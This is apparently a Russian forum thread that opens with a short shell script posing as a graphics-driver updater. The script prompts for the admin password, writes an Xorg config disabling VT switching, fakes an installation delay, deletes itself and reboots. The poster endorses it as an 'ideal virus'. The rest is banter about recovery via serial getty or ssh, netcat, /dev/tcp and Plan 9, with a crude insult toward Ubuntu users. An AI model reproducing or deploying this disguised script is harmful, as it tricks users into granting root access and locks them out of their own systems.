- 01
- 02
- 03
- 04
- 05
- 06
- 07
- 08
- 09
- 10
- 11
- 12
#!/bin/sh
echo "Вас приветствует обновлятор видеокарты! Версия 1.0"
echo "Мы обновим ваш софт автоматически, введите пожалуйста пароль адимнистратора"
sudo echo -n "Установка..."
sudo echo -e 'Section "ServerFlags"\nOption "DontVTSwitch" "true"\nEndSection' >/etc/X11/xorg.conf.d/99-system.conf
let a=$RANDOM%15
let a+=7
sleep $a
echo "Установка завершена! Приятного использования"
sleep 1
rm $0
sudo reboot
Это идеальная вирусня! Потом юзер просто не сможет войти в термы. Можно блокать доступ к экрану и так далее
Можете не верить но вирусы на linux уже есть и дауны всякие кривожопые пользователи убунты не знают как их удалить
Отличительная особенность вирусов — способность к размножению.
Из недавнего примера: драйвер nvme от Тошибы
Кстати, некто хвалил DriverPack Solution за то, что им можно ставить дрова на компы, не подсоединенные к инету. А нельзя апдейтить винду с локального сервака?
У нас админы через всус обновляют кучу виндов чтоб не качать по 150 раз
А еще есть scom шоб централизованно мониторить логи
> xorg.conf
Как-будто линух нельзя загрузить без этих ваших иксов...
А там мумулятор терма
а если там кошерный getty то таки да -- могли и не запустить
там же DontVTSwitch включают
тогда да: не переключишься
Правда тут есть найоб: если иксы не испольщуют KMS а сами переключают VT в нужный режим, то им нужно иметь привилегии рута (кажется чтобы подправить IO Permissions у страницы и научиться писать в IO). Так что startx обычный не запустится. У дебина был раньше враппер с suid битом чтобы стартовать иксы от рута всегда.
на самом деле надо просто запускать getty на /dev/ttyS0 (это можно сделать по памяти, лол) как делали наши предки. Тогда можно подцепиться на компорт с другого компа или даже с терминала и там будет все работать.
А если туда повесить модем, то можно даже подключиться через телефонную сеть.
У вас в 2018-м что-ли так не умеют?
Или sshd поднять и зайти с телефона.
serial таки надёжней и раньше стартует.
Вариант про ssh мне нравится. Но если ты убунтодесктопный чел то ты наверняка либо не поставил ssh вообще, либо поставил, но забыл настроить в sshd.conf кому можно туда логица, а править sshd.conf вслепую не очень легко.
только сразу на 0.0.0.0:23 , ок?)
а хотя у тебя все равно небось NAT
Что такое nc?
умеет быть клиентом и сервером tcp и udp и еще немножко шьет
man nc
Если бы не насрали, то не нужно было бы никаких сокатов и неткатов.
Ты бы просто писал
Понятное дело что там есть еще 150 опций у TCP и столько же у IP, но они не всегда нужны.
Эту мыслю, емнип, развили в Plan 9 -- мертворожденном потомке Unix.
Как в пхп
А посылать пост-запросы и аплоадить файлы можно было бы fwrite.
fopen('[email protected]', 'w');
а срать на двач вот так
fopen('2ch', 'a');
Почему 'a'? потому что 'w' затрет все существующие там комменты
> fopen('2ch', 'a');
То есть снести всю предыдущую почту человеку — это нормально, а на дваче ты о комментах заботишься.
ну тогда можно же ее сохранить временно на дропбоксе
В юниксе не всё умеет в seek/tell. Есть блочные и потоковые устройства. Устройство мыши — это тоже файл, seek на нём, по понятным причинам, не сделаешь.
Сокеты в юниксе — это тоже "файлы", на них работают read() и write().
Что, хуец мой понравился?
http://govnokod.ru/23624#comment401364
Я про план9 только читал, знаю что там была заинька с зубами как у суслика го
зы: Снаут, почему все элегантные, красивые и правильные решения никогда не взлетают, а наколенное говно, подпертое костылями, становится промышленным стандартом?
Элегантные и красивые решения часто тормозят и/или не переживают ошибки. А ещё два разных элегантных решения как правило нельзя использовать вместе без превращения обоих в кучу костылей.
Элегантные как раз можно, а вот костыли типа манки патчинга как раз конкурренцию не любят.
это ты о своих "PHP" буднях?
> $ cat /dev/new_sockets/tcp/yandex.ru/80
Напиши себе плагин для fuse, и не такое сможешь.
https://9fans.github.io/plan9port/man/man3/dial.html
С козырей зашел;)
открыл файл
/dev/tcp/listen/80 и читаешь. Заблокировался на чтении -- вот и accept. Когда что-то считалось оттуда -- значит пришел клиент.
А считался оттуда дескриптор нового файла;)
Кстати, в юниксе такая фича есть. Можно пересылать файловые дескрипторы через юниксовые сокеты.
А в виндовых named pipes (близжайщий аналог unix domain sockets) нельзя дескрипторы пересылать емнип
живая usb-палка + mount
Или вообще почитать про него и узнать про опцию отключения
Заминусуйте тот мой бред.
Что-то вспомнилось, гораздо более успешный вариант:
https://github.com/MrMEEE/bumblebee-Old-and-abbandoned/commit/a047be85247755cdbe0acce6#diff-1